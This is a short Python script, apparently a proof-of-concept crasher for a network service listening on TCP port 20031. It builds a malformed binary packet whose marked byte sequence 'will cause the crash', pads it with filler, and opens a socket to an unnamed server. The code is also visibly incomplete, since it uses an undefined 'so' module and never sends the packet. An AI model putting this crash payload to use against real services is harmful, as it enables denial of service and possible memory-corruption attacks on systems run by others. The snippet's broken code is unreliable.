from struct import *

server = ""
port = 20031
d = "\x18\x00\x00\x00"
d += "\x01"

#d += "\xCB\x22\x77\xC9" # Another crash example
d += "\x18\xE8\xBE\xC8" # Will cause the crash
d += "\x0B\x00\x00\x00" + "AAAA" + "B" * 6
d += "\x00" # null byte

# send it

s = so.socket(so.AF_INET, so.SOCK_STREAM)
s.connect((server, port))
